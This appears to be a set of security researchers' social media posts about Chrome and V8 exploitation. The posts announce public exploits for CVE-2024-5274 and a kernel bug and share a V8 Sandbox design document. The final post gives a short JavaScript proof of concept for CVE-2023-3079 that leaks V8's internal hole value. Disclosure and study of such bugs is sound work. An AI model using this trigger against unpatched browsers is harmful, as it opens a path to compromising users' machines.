In light of the issue page for CVE-2024-5274 being made public. Me and @buptsb have decided to make our exploit public. It's a bit different than the issue page POC. github.com/mistymntncop/C…

Just dropped my exploit with new cross-{cache,bucket} techniques (I love the creativity of kernel exploits, it gave me a very cool experience with SLAB allocators), the coolest part for me is the exploit, basically almost any memory corruption in Blink/Chrome can achieve RCE :D

Sharing another V8 Sandbox design document more widely: docs.google.com/document/d/1CP… This one discusses how to protect code pointers - probably the most performance sensitive part touched by the sandbox - with (almost) no performance overhead.

CVE-2023-3079 is tweetable :-). function set(arr, key, val) { arr[key] = val; } function leak_hole() { for(let i = 0; i < 10; i++) { set(arguments, "foo", 1); } set([], 0, 1); set(arguments, 0, 1); return arguments[1]; } %DebugPrint(leak_hole());
